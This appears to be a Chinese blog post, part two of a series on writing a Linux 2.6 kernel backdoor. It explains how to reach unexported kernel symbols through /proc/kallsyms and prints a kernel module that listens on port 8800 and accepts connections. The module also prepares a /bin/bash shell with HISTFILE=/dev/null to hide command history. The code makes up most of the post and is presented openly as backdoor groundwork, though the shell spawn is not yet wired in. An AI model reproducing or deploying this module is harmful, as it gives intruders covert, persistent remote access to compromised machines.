书写 2.6 内核后门程序 -2 （调用内核程序）

   在内核态通过int 0x80调用系统内核函数，虽然方便但是效率比较低。可以尝试直接调用内核函数，在wzt的原文中直接调用 sys_bind,sys_socket  等函数的实现，

比如 sys_bind 函数

SYSCALL_DEFINE3(bind, int, fd, struct sockaddr __user *, umyaddr, int, addrlen){        struct socket *sock;        struct sockaddr_storage address;        int err, fput_needed;        sock = sockfd_lookup_light(fd, &err, &fput_needed);        if (sock) {                err = move_addr_to_kernel(umyaddr, addrlen, (struct sockaddr *)&address);                if (err >= 0) {                        err = security_socket_bind(sock,                                                   (struct sockaddr *)&address,                                                   addrlen);                        if (!err)                                err = sock->ops->bind(sock,                                                      (struct sockaddr *)                                                      &address, addrlen);                }                fput_light(sock->file, fput_needed);        }        return err;}

那么就调用 

security_socket_bind   sock->ops->bind

但是在内核中 调用 security_socket_bind 编译是会遇到warning：

WARNING: "security_socket_bind" [/home/sina/Debug/network/network-shell1/net.ko] undefined!

并且在加载内核时会提示：

在内核模块中有 MODULE_LICENSE 语句。

察看内核发现没有对内核符号 security_socket_bind  调用 EXPORT_SYMBOL，在 /proc/kallsyms 发现也有这个符号：

|

对于这种情况何以使用函数指针，查找/proc/kallsyms 文件来找到相应的函数。这个在

http://blog.csdn.net/gudujianjsk/article/details/7948423

所附录代码中已经实现。

分析内核源码有EXPORT_SYMBOL的 内核符号：kernel_bind.

int kernel_bind(struct socket *sock, struct sockaddr *addr, int addrlen)
{
        return sock->ops->bind(sock, addr, addrlen);
}
EXPORT_SYMBOL(kernel_bind);

源码如下：

/** kenel mode socket door v0.1** by wzt http://www.xsec.org*/#include <linux/module.h>#include <linux/kernel.h>#include <linux/socket.h>#include <linux/net.h>#include <linux/in.h>#include <linux/fs.h>#include <linux/file.h>#include <linux/types.h>#include <linux/errno.h>#include <linux/string.h>#include <linux/unistd.h>#include <net/sock.h>#include <asm/uaccess.h>#include <asm/unistd.h>#include "syscalls.h"#define port    8800#define LEN     256#define SGID            0x489196ab#define HOME            "/"static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };char *env[]={    "TERM=linux",    "HOME=" HOME,    "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"    ":/usr/local/sbin",    "HISTFILE=/dev/null",     NULL };static inline my_syscall2(int, dup2, int, oldfd, int, newfd);static inline my_syscall3(int, execve, const char *, filename,const char **, argv, const char **, envp);struct socket *sock_alloc(void);int sys_setuid(uid_t  uid);asmlinkage ssize_t  sys_read(unsigned int fd, char __user * buf, size_t count); int k_listen(void){        struct socket *sock,*newsock;        struct sockaddr_in server;    struct sockaddr client[128];   char address[128];    int sockfd, sockid, i,size = 0;        int error = 0,len = sizeof(struct sockaddr);                        error = sock_create(AF_INET,SOCK_STREAM,0,&sock);        if (error < 0) {                printk("[-] socket_create failed: %d\n",error);                sock_release(sock);                return -1;        }        sockfd = sock_map_fd(sock,0);    if (sockfd < 0) {       printk("[-] sock_map_fd() failed.\n");        sock_release(sock);        return -1;    }            for (i = 0; i < 8; i++)       server.sin_zero[i] = 0;    server.sin_family = PF_INET;    server.sin_addr.s_addr = INADDR_ANY;    server.sin_port = htons(port);error = kernel_bind(sock, (struct sockaddr *)&server,len);if(error < 0){printk("error bind!\n");sock_release(sock);return 0;}error = kernel_listen(sock, 5);    if (error < 0) {        printk("[-] unix_listen failed.\n");        sock_release(sock);        return -1;    }    printk("[+] listen port %d ok.\n",port);kernel_accept(sock,&newsock,sock->file->f_flags);              sockid = sock_map_fd(newsock,0);       if (sockid < 0) {        printk("[-] sock_map_fd() failed.\n");            sock_release(newsock);        return -1;       }//sys_read(sockid,&ch,1);            return 1;        out_release:    sock_release(sock);    sock_release(newsock);    return 0;}int k_socket_init(void){        printk("[+] kernel socket test start.\n");                k_listen();}void k_socket_exit(void){        printk("[+] kernel socket test over.\n");}module_init(k_socket_init);module_exit(k_socket_exit);MODULE_LICENSE("Dual BSD/GPL");MODULE_AUTHOR("wzt");

sys_read   sys_write等函数可以通过查找 /proc/kallsyms 来找到地址。